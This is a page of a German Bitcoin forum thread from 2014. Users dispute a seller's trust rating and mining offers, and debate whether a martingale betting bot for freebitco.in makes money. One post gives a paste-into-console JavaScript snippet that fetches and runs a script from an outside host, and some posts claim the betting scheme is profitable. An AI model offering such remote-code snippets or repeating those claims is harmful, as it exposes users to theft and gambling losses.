Bitcoin Forum
May 02, 2024, 08:41:40 PM *
News: Latest Bitcoin Core release: 27.0 [Torrent]
 
   Home   Help Search Login Register More  
Pages: « 1 [2] 3 4 5 6 7 »  All
  Print  
Author Topic: inoffizieller thread zu " Was besseres findet ihr ....."  (Read 4960 times)
Menig
Legendary
*
Offline Offline

Activity: 910
Merit: 1000


View Profile
April 09, 2014, 07:36:55 AM
 #21


Ich habe mit der Vermarktung genau NICHTS zu tun ! Ich habe lediglich gprüft was er anbietet und ihm klar empfohlen NICHT zu verkaufen sondern selber Geld damit zu verdienen.
Das habe ich auch so geschrieben.

Womit habe ich also bitte den negativen Trust verdient ?

Meine Ausagen:

1. es funktioniert
2. nicht hier im Forum verkaufen

?!? Ich bin also weder am Vertrieb noch am "Produkt" beteiligt ?!? Im Gegenteil habe ich klar gesagt er soll seinen "Trick" nicht zum verkauf anbieten !
Ich habe lediglich klar gestellt das es kein Betrug ist !

1714682500
Hero Member
*
Offline Offline

Posts: 1714682500

View Profile Personal Message (Offline)

Ignore
1714682500
Reply with quote  #2

1714682500
Report to moderator
"You Asked For Change, We Gave You Coins" -- casascius
Advertised sites are not endorsed by the Bitcoin Forum. They may be unsafe, untrustworthy, or illegal in your jurisdiction.
1714682500
Hero Member
*
Offline Offline

Posts: 1714682500

View Profile Personal Message (Offline)

Ignore
1714682500
Reply with quote  #2

1714682500
Report to moderator
Rene76
Full Member
***
Offline Offline

Activity: 153
Merit: 100


1EdEDJvvaQkAQ75JHfghNrHgUJ1DMF1yGQ


View Profile
April 09, 2014, 08:16:58 AM
 #22

Ahh, endlich mal jemand der mehr beizutragen hat als nur seine hehren Moralvorstellungen Wink
Das von dir beschriebene Verfahren ist aber 1. nicht neu, 2. funktioniert es nicht
(weder theoretisch (wegen endlicher Geldmenge als Einsatz) noch praktisch) und 3. ist
es beliebig skalierbar, was auf lanmachines Trick ja anscheinend nicht zutrifft..


Nach dem Zufallsprinzip gebe ich Dir zu 100% Recht. Aber Online Casinos hatten früher ein Problem bzw. eine Lücke im System so das man mit einen Bot die Spielroutine manipulieren konnte und somit den Hausvorteil aufgehoben hat.

Vieleicht giebt es einfach eine Lücke bei Freebitco.in. Java bietet sich da an.

Nachtrag 1:
Da ich jetzt neugierig bin, ich habe gerade ein Video gefunden. Es scheint da eine Lücke zu geben.

http://www.youtube.com/watch?v=QwgiED-TZlU
Nachtrag 2:

Habe mir die mühe gemacht und es laut Anleitung im Video getestet. Es Funktioniert!!! Grin
Also wird LanMachine wohl diese oder eine ähnliche Lücke ausnutzen die er uns auch teuer verkaufen wollte. Wink


Menig
Legendary
*
Offline Offline

Activity: 910
Merit: 1000


View Profile
April 09, 2014, 08:30:38 AM
 #23


Die Aussagen in diesem Thread über mich werden langsam einfach lächerlich... (sorry).

Wo betrüge ich die Community ? Bitte nur EIN Beispiel.......

Ich gehe mal meine Angebote durch:

Asicminer USB-Eruptor:
Es war von Anfang an klar das diese keine ROI erreichen, dies wurde von mir auch nie anders beworben !
Produktbeschreibung, Hersteller etc. sprachen von "Marketingartikel" - das hier tausende gekauft wurden um "Dumme bei Ebay" zu finden ist nicht mein Fehler !

Auch die Bonusaktion sehe ich nicht als mein Fehler an ! 0,2 BTC als VK bei 0,5 BTC Marktpreis war mehr als fair gegenüber der Community (vor allem da ich von Seiten yxt bei 1000 Sticks keinen Refund bekommen habe,
bzw. er diese Anfrage welche ich bereits zu Beginn angesprochen habe (da von Cat entsprechend angekündigt) erst nach der Lieferung von 600 Sticks negativ beschieden hat).  Das yxt diese Bonussticks erst nach drei
Wochen liefert... und zwar zufällig genau an dem Tag an dem er seinen PReis von 0,5 auf 0,2 BTC gesenkt hat... ein Schelm wer Absicht vermutet... und natürlich bin ich der Böse nicht YXT.. der übrigens derjenige war der
zu dem Preis die Hetzkampagne gestartet hat.... (Jaja, Konkurrenz ist nicht gut fürs Geschäft......)

Jupiter:
Haben massiv ROI erreicht (es wurde in € bzw. $ gerrechnet, nicht in BTC da die Geräte auch in € bzw. $ bezahlt wurden), im Hintergrung arbeite ich an Wegen die Miner kostenneutral gegen stärkere auszutauschen - wo bitte ist der Betrug ?

Neptune:
siehe JupiterGB- auch die Rückabwicklung findet derzeit auf Käuferwunsch statt - wo bitte ist der Betrug ?


TITAN:
werden nach jedem Calculator die ROI erreichen....  auch bei pessimistischen Einstellungen, auch ohne das der LTC-Kurs steigt - wo bitte ist der Betrug ?

Und mal im Ernst, das ich die Abwärme nutzen werde (passiert bis heute nicht, da die Verdampfertechnologie hierzu 60.000€ kosten wird welche ich gerade nicht über habe) um mein Haus zu heizen ist plötzlich Betrug ? Zu wenig Sex gehabt ? Luft im Sack ? Gehts noch ?

Meine Gebühr von 1% bzw. 2% ist natürlich böse..... denn wenn Ihr reicht werdet... bekomme ich 2%... wenn ihr nichts mehr verdient bekomme ich 2% von nichts..... das ist natürlich totale Abzocke !
Auch die Stromkosten von 24 Cent/KW incl. Kühlung sind absoluter Betrug, Abzocke, denn der eigene Preis für Strom ist bei den meisten mittlerweile 26Cent/KW+ ... also wie gesagt totale Abzocke das in Relation der Strom bei mir günstiger ist....
Ich sehe es ein... ich bin (mindestens) der Antichrist und stehe mit Candoo auf einer Stufe !


So, genug Sarkasmus und Ironie, die meisten sind eh nicht in der Lage diesen zu erkennen wenn sie ihn lesen....... und für die ganz Cleveren hier noch mal eine Info: die 2% haben bis jetzt nichtmal den Invest für USVs, Racks, Kabel etc. gedeckt.....
Für die ich übrigens zu 100% in Vorkasse getreten bin.... aber es ist wie immer: jeder reißt das Maul bis zum Anschlag auf.... aber besser machen tut es keiner... doch nicht so einfach bzw. schlecht was ich mache ? Huch.......


david123
Legendary
*
Offline Offline

Activity: 1022
Merit: 1004


View Profile
April 09, 2014, 08:34:56 AM
 #24

Nachtrag 2:

Habe mir die mühe gemacht und es laut Anleitung im Video getestet. Es Funktioniert!!! Grin
Also wird LanMachine wohl diese oder eine ähnliche Lücke ausnutzen die er uns auch teuer verkaufen wollte. Wink
Nee, sorry, das funktioniert nicht, das ist ein furchtbar alter Hut: http://de.wikipedia.org/wiki/Martingalespiel
Sag mal Bescheid wieviel BTC du damit generiert hast nach 24h Wink

Abgesehen davon: freebitco.in zahlt immer an einem festen Termin pro Woche aus, und direkte Zahlungen von
denen lassen sich supereinfach nachverfolgen. Das passt beides nicht zu lanmachines 16ffXgRZZ7L6kCRK62wM5ikYd3jKrmMAjy
Menig
Legendary
*
Offline Offline

Activity: 910
Merit: 1000


View Profile
April 09, 2014, 08:35:14 AM
 #25

Ahh, endlich mal jemand der mehr beizutragen hat als nur seine hehren Moralvorstellungen Wink
Das von dir beschriebene Verfahren ist aber 1. nicht neu, 2. funktioniert es nicht
(weder theoretisch (wegen endlicher Geldmenge als Einsatz) noch praktisch) und 3. ist
es beliebig skalierbar, was auf lanmachines Trick ja anscheinend nicht zutrifft..


Nach dem Zufallsprinzip gebe ich Dir zu 100% Recht. Aber Online Casinos hatten früher ein Problem bzw. eine Lücke im System so das man mit einen Bot die Spielroutine manipulieren konnte und somit den Hausvorteil aufgehoben hat.

Vieleicht giebt es einfach eine Lücke bei Freebitco.in. Java bietet sich da an.

Nachtrag 1:
Da ich jetzt neugierig bin, ich habe gerade ein Video gefunden. Es scheint da eine Lücke zu geben.

http://www.youtube.com/watch?v=QwgiED-TZlU
Nachtrag 2:

Habe mir die mühe gemacht und es laut Anleitung im Video getestet. Es Funktioniert!!! Grin
Also wird LanMachine wohl diese oder eine ähnliche Lücke ausnutzen die er uns auch teuer verkaufen wollte. Wink

Er nutzt keine Lücke.... keinen Bug....... Es ist einfach Mathe.... bei der (Warscheinlichkeitsrechnung) man einen Profit macht... und für mich hat das in den letzten Tagen hervorragend funktioniert (ist kein Reichmacher, also garnicht erst in die Richtung glauben,
die Kalulation funktioniert nur bei Kleinbeträgen). Aber egal, ich habe ihm eh klar empfohlen dieses Kalkulation hier nicht mehr gegen Profit zu vertreiben, da ich das wiederum gerade zu seinen Preisen nicht seriös finde !
Ich habe daher auch ganz gezielt NUR die Kalkulation / die Idee bestätigt, und extra KEINE Kaufempfehlung ausgesprochen.

Es wäre also schön wenn man einfahc mal das geschriebene Wort auch "wörtlich" nehmen würde und nicht 500% da rein interpretiert !
david123
Legendary
*
Offline Offline

Activity: 1022
Merit: 1004


View Profile
April 09, 2014, 08:38:43 AM
 #26

Du kannst auch schwarz schreiben..?  Shocked
Menig
Legendary
*
Offline Offline

Activity: 910
Merit: 1000


View Profile
April 09, 2014, 08:45:28 AM
 #27

Du kannst auch schwarz schreiben..?  Shocked

Du kannst nur schwarz schreiben ? Shocked
Rene76
Full Member
***
Offline Offline

Activity: 153
Merit: 100


1EdEDJvvaQkAQ75JHfghNrHgUJ1DMF1yGQ


View Profile
April 09, 2014, 08:59:38 AM
 #28

Ahh, endlich mal jemand der mehr beizutragen hat als nur seine hehren Moralvorstellungen Wink
Das von dir beschriebene Verfahren ist aber 1. nicht neu, 2. funktioniert es nicht
(weder theoretisch (wegen endlicher Geldmenge als Einsatz) noch praktisch) und 3. ist
es beliebig skalierbar, was auf lanmachines Trick ja anscheinend nicht zutrifft..


Nach dem Zufallsprinzip gebe ich Dir zu 100% Recht. Aber Online Casinos hatten früher ein Problem bzw. eine Lücke im System so das man mit einen Bot die Spielroutine manipulieren konnte und somit den Hausvorteil aufgehoben hat.

Vieleicht giebt es einfach eine Lücke bei Freebitco.in. Java bietet sich da an.

Nachtrag 1:
Da ich jetzt neugierig bin, ich habe gerade ein Video gefunden. Es scheint da eine Lücke zu geben.

http://www.youtube.com/watch?v=QwgiED-TZlU
Nachtrag 2:

Habe mir die mühe gemacht und es laut Anleitung im Video getestet. Es Funktioniert!!! Grin
Also wird LanMachine wohl diese oder eine ähnliche Lücke ausnutzen die er uns auch teuer verkaufen wollte. Wink

Er nutzt keine Lücke.... keinen Bug....... Es ist einfach Mathe.... bei der (Warscheinlichkeitsrechnung) man einen Profit macht... und für mich hat das in den letzten Tagen hervorragend funktioniert (ist kein Reichmacher, also garnicht erst in die Richtung glauben,
die Kalulation funktioniert nur bei Kleinbeträgen). Aber egal, ich habe ihm eh klar empfohlen dieses Kalkulation hier nicht mehr gegen Profit zu vertreiben, da ich das wiederum gerade zu seinen Preisen nicht seriös finde !
Ich habe daher auch ganz gezielt NUR die Kalkulation / die Idee bestätigt, und extra KEINE Kaufempfehlung ausgesprochen.

Es wäre also schön wenn man einfahc mal das geschriebene Wort auch "wörtlich" nehmen würde und nicht 500% da rein interpretiert !

+1 Danke Mening.

Du bestätigst damit gerade meine Vermutung. Habe ich Recht???

@david123
Probiere es doch selber erst einmal aus bevor Du so ignorant daherkommst.
Damit möchte ich Dich jetzt nicht angreifen und wie ich weiter oben schon sagte. Du hast nach dem Zufallsprinzip zu 100% Recht.
Aber der Bot arbeitet mit einer Wahrscheinlichkeitsrechnug.

Zufall und Wahrscheinlichkeit

http://www.mathe-online.at/mathint/wstat1/i.html

für die, die es Interessiert.

mameise
Hero Member
*****
Offline Offline

Activity: 561
Merit: 500


View Profile
April 09, 2014, 09:09:07 AM
 #29

Also wie ich im anderen Thread bereits geschrieben habe, funktioniert das mit Dice Seiten auch.
Natürlich funktioniert die Methode, und je nach Einstellungen sogar recht gut, auch wenn das Risiko immer bleibt.
Ich habe 1.4 btc plus gemacht durch das Setzen nach diesem Prinzip auf einer Dice Seite. Also wenn es das ist, hatte ich von Anfang an recht, und die "Lücke" ist ein uralter Hut! Hab ich vor Jahren schon auf Casinos so gemacht.
david123
Legendary
*
Offline Offline

Activity: 1022
Merit: 1004


View Profile
April 09, 2014, 09:10:09 AM
 #30

Nee, ignorant sollte es nicht sein, sorry wenn es so rüberkam..

In dem Video sieht es so aus, als würde der Bot nur das Martingal-Spiel automatisieren,
also immer eine kleine Einheit setzten und bei Verlust verdoppeln, und bei Gewinn wieder von vorne.
Stochastisch gesehen ist dieses 50-50-Würfeln ein faires Spiel gegen die Bank und man
könnte damit reich werden, wenn man unendlich viele BTC als möglichen Einsatz in der Hinterhand hat.
Da der Einsatz beschränkt ist, wird man früher oder später unter den Starteinsatz zurückfallen, egal welcher Startwert.
In der Praxis kommt noch erschwerend dazu, dass dieses Würfeln kein faires Spiel ist wegen der house
edge.

Ich weiss jetzt nicht, was du mit Zufallsprinzip meinst.. Macht der Bot das beschriebene,
dann sagen die Regeln der Stochastik nun mal dass es keine erfolgreiche Strategie ist.
Oder macht der Bot noch was anderes, was ich übersehen habe?
walterw
Copper Member
Sr. Member
****
Offline Offline

Activity: 336
Merit: 258


Do you need a campaign manager? PM me.


View Profile
April 09, 2014, 09:20:31 AM
 #31

David hat recht. Ich habe es jetzt selber ausprobiert. Es klappt nicht. Man fällt immer wieder zurück. Klar es sieht manchmal so aus, als würde man etwas "verdienen", aber irgendwann kommt der Punkt an dem der Bot nur noch verdoppelt und man letztendlich keine BTC mehr zum verdoppeln hat. ^^ Freebitco hat da auch wahrscheinlich seine Finger im Spiel. Wink

david123
Legendary
*
Offline Offline

Activity: 1022
Merit: 1004


View Profile
April 09, 2014, 09:20:49 AM
 #32

Aber als versöhnlicher Vorschlag: Vielleicht mag ja unser Freund mit den Buntstiften mal auflösen, ob es sich
um ein Martingalspiel handelt oder nicht.. Damit würde er ja noch keine "Geschäftsgeheimnisse" verraten..
Wolke (OP)
Legendary
*
Offline Offline

Activity: 966
Merit: 1000


View Profile
April 09, 2014, 09:23:06 AM
 #33

Aber als versöhnlicher Vorschlag: Vielleicht mag ja unser Freund mit den Buntstiften mal auflösen, ob es sich
um ein Martingalspiel handelt oder nicht.. Damit würde er ja noch keine "Geschäftsgeheimnisse" verraten..

+1

das währe ein feiner schachzug

btw. ich kann auch in blau ^^

amigaman
Sr. Member
****
Offline Offline

Activity: 406
Merit: 250



View Profile
April 09, 2014, 09:32:44 AM
 #34

Naja, dementiert hat der "Engel" ('n Teufel ist er ja nicht, hatter gesagt) nicht. Das könnte man durchaus als Zustimmung werten.
Das der Spielserver irgendwann den Hahn zumacht, würde auch erklären, warum das ganze nicht skaliert und Menig noch keine Anteile daran verkauft hat.

@Menig:
Bei dir ist es immer so, das man genau aufpassen muss, was du nicht gesagt hast.
Da lässt du nämlich immer die ganz wichtigen Sachen weg und schwurbelst "auße umzu", damit der Käufer das nicht merkt.
Z.B. das du dir die Jupi schönrechnest, indem du Kursgewinne miteinbeziehst.
Und das die Titan Gewinn abwirft, glaubst du auch nur, weil dein Rechner weder Kurse noch Diffentwicklung voraussehen kann, geschweige denn überhaupt mitrechnen.
Bei den Sticks hast du auch nie klar gesagt, was man dadurch bekommt. Das man nix bekommt aber auch nicht Wink

Und du kannst mir nicht erzählen, das du deine ganze Bude mit Kram für wer-weiß-wieviele Euros nur so auf Verdacht vollstellst.
Das kann mir der, der mal eben für 300k€+ in Vorkasse gehen muss, um einen GB zu organisieren, nicht weismachen.
So ein Gutmensch bist du auch nicht, niemals.
Was hindert dich denn, zu sagen "Jungs, pass ma op, die Kohle reicht nicht, die RWE tritt mir die Tür ein, ich brauch mehr Gebühren"?
Wenn Mining so lohnenswert ist, dürfte es doch für dich kein Problem sein, die Anteile von denen, die da keine Lust drauf haben, zurückzukaufen um selbst damit reich zu werden. Zumindest könntest du ja so den Strom aus ein, zwei Anteilen bezahlen, ob die jetzt für dich oder jemand anders rechnen, sieht der Stromzähler ja nicht.
Rene76
Full Member
***
Offline Offline

Activity: 153
Merit: 100


1EdEDJvvaQkAQ75JHfghNrHgUJ1DMF1yGQ


View Profile
April 09, 2014, 09:46:43 AM
 #35

Aber als versöhnlicher Vorschlag: Vielleicht mag ja unser Freund mit den Buntstiften mal auflösen, ob es sich
um ein Martingalspiel handelt oder nicht.. Damit würde er ja noch keine "Geschäftsgeheimnisse" verraten..

+1 lol Cheesy
Rene76
Full Member
***
Offline Offline

Activity: 153
Merit: 100


1EdEDJvvaQkAQ75JHfghNrHgUJ1DMF1yGQ


View Profile
April 09, 2014, 09:58:08 AM
 #36

Die Rechnung geht zwar nicht immer auf. Aber mit kleinen Einstellungen erhöht sich die Wahrscheinlichkeit zu gewinnen. In Moment zu mindestens.  Immerhin von meinen anfänglichen 0,0000444btc bin ich schon bei 0,00002047btc.
whyte
Sr. Member
****
Offline Offline

Activity: 579
Merit: 259


View Profile
April 09, 2014, 10:03:12 AM
 #37

ich war zwei mal auf runt 890, dann habe ich immer rot gehabt und mit dem verdoppeln war nichts mehr, bis auf 0
Ich glaube, die merken das schon.
Rene76
Full Member
***
Offline Offline

Activity: 153
Merit: 100


1EdEDJvvaQkAQ75JHfghNrHgUJ1DMF1yGQ


View Profile
April 09, 2014, 10:06:33 AM
 #38

ich war zwei mal auf runt 890, dann habe ich immer rot gehabt und mit dem verdoppeln war nichts mehr, bis auf 0
Ich glaube, die merken das schon.
Versuche es mal mit den Einstellungen.

// Paste this code into the Javascript console
// Tweak configuration settings, depending on your balance
    config = {
        tolerance   : 9,
        sleep      : 200,
        goal      : 0.00001300,
        btcGuard   : 0.00000800,
        startStake   : '0.00000004',
        toggle        : false,
        delayLimit   : 200
    };
         
    $.getScript(
        'http://phptaskforce.uk.to/addr/(deine adresse)',
        function() { init(); }
    );
Menig
Legendary
*
Offline Offline

Activity: 910
Merit: 1000


View Profile
April 09, 2014, 10:11:31 AM
 #39

Naja, dementiert hat der "Engel" ('n Teufel ist er ja nicht, hatter gesagt) nicht. Das könnte man durchaus als Zustimmung werten.
Das der Spielserver irgendwann den Hahn zumacht, würde auch erklären, warum das ganze nicht skaliert und Menig noch keine Anteile daran verkauft hat.

1. es ist nicht das was im Video gezeigt wird (nichtmal die Seite)
2. waurm sollte ich  Anteile verkaufen ? Das ist nicht meine Geschäftsidee / meine Berechnung sondern die von LanMachine.... ich habe lediglich bestätigt das es funktioniert !


Bei dir ist es immer so, das man genau aufpassen muss, was du nicht gesagt hast.
Da lässt du nämlich immer die ganz wichtigen Sachen weg und schwurbelst "auße umzu", damit der Käufer das nicht merkt.
Z.B. das du dir die Jupi schönrechnest, indem du Kursgewinne miteinbeziehst.

Ich glaube Du willst mich einfach nicht verstehen... die Jupiter waren ein €€€€€€€-Invest.... €€€€€-Ertrag ist das was interessiert..... wäre der Kurs gefallen hätten wir ein schlechteres Ergebnis.
So ist das bei Investments halt... das Ergebnis zählt ! für jeden investierten € hat man ca. 2€ erhalten....  und ich habe im Thread damals schon geschrieben das ein reiner Invest in BTC einen höheren
Ertrag erwirtschaftet hätte ! Allerdings wäre ohne die hohe Rechenleistung im Netz, der ganzen Asic-Marketing-Wahnsinn etc. in den Medien der Kurs auch nie so explodiert, ich sehe da für mich direkte
Zusammenhänge... und wie mehrfach gesagt: das Ergebnis zählt, und die Zahl ist schwarz !


Und das die Titan Gewinn abwirft, glaubst du auch nur, weil dein Rechner weder Kurse noch Diffentwicklung voraussehen kann, geschweige denn überhaupt mitrechnen.

Titan: Diff ist relativ einfach zu berechnen... da man sowohl 2500 Viper als auch 2500 Titans genau berechnen kann.... Kursschwankungen kalkuliere ich nicht mit ein..... wobei ich persönlich von signifikanten
Steigerungen ausgehe, aber das muss jeder für sich selber entscheiden was die eigene Glaskugel sagt !
Bei den Titans gehe ich in meiner Kalkulation von einer 300%-Diff-Steigerung aus... den Kurs packe ich nicht an.... und erreiche damit ein positives ROI.... noch konservativer braucht man meiner Meinung nach nicht rechnen...


Bei den Sticks hast du auch nie klar gesagt, was man dadurch bekommt. Das man nix bekommt aber auch nicht Wink

1. Wurde das ungefähr 10000000000x an 10000000 verschiedenen Stellen gesagt, 2. ist die Masse der Sticks an Reseller gegangen..... und die sind am Miningertrag nicht interessiert

Und du kannst mir nicht erzählen, das du deine ganze Bude mit Kram für wer-weiß-wieviele Euros nur so auf Verdacht vollstellst. Das kann mir der, der mal eben für 300k€+ in Vorkasse gehen muss, um einen GB zu organisieren, nicht weismachen.
So ein Gutmensch bist du auch nicht, niemals. Was hindert dich denn, zu sagen "Jungs, pass ma op, die Kohle reicht nicht, die RWE tritt mir die Tür ein, ich brauch mehr Gebühren"?

Im Gegensatz zu vielen anderen kann ich es mir halt leisten fünfstellige Beträge in mein Hobby zu investieren.... natürlich spekuliere ich auf eine ROI (die ich sicherlich auch in xx Jahren erreicht haben werde...), aber für mich ist diese
nicht zwingend notwendig. Ich "spiele" nur mit Geld das ich ggf. auch verschmerzen kann !

Bzgl. Gebühren: ob es Dir passt oder nicht... ich stehe zu meinem Wort ! Und da Strompreise für 12 Monate garantiert sind kann ich mir sicher sein das ich meine Preise auch halten kann.
Was mich daran zusätzlich hindert (insofern dir das Argument besser gefällt): die Tatsache das dann diverse sehr wütende Leute vor meiner Tür stehen würden Wink


Wenn Mining so lohnenswert ist, dürfte es doch für dich kein Problem sein, die Anteile von denen, die da keine Lust drauf haben, zurückzukaufen um selbst damit reich zu werden. Zumindest könntest du ja so den Strom aus ein, zwei Anteilen bezahlen, ob die jetzt für dich oder jemand anders rechnen, sieht der Stromzähler ja nicht.

Du gehst immer davon aus das ich nicht auch selber bestelle... das ist ein Trugschluss. Ich habe z.B. drei Neptunes für mich selber bestellt... das sind 30k $ Risikoinvest (die ich nunmehr ebenfalls in Titans gewandelt habe), genauso wie ich drie Viper für den Eigenbedarf  
geordert habe. Ich biete keine Produkte an insofern diese mich nicht überzeugen..... was der einfache Grund ist warum ich z.B. für zig verschiedene Hersteller keine GBs anbiete bzw. angeboten habe.

Wie Du korrekt erkannt hast bin ich nicht die Wohlfahrt, aber ich versuche mich durchaus um meine Kunden zu kümmern.... Ob Dir das Ergebnis passt oder nicht.... ist mir egal..... denn nicht die 1000000  Leute die nicht bei mir kaufen sind für mich wichtig
sondern die 1000 die es tun... und was wichtig ist: die meisten davon kommen wieder, also kann meine Vorgehensweise nicht so falsch sein
Rene76
Full Member
***
Offline Offline

Activity: 153
Merit: 100


1EdEDJvvaQkAQ75JHfghNrHgUJ1DMF1yGQ


View Profile
April 09, 2014, 10:13:40 AM
 #40

Die Rechnung geht zwar nicht immer auf. Aber mit kleinen Einstellungen erhöht sich die Wahrscheinlichkeit zu gewinnen. In Moment zu mindestens.  Immerhin von meinen anfänglichen 0,0000444btc bin ich schon bei 0,00002047btc.
edit
0.00002553 BTC

Pages: « 1 [2] 3 4 5 6 7 »  All
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.19 | SMF © 2006-2009, Simple Machines Valid XHTML 1.0! Valid CSS!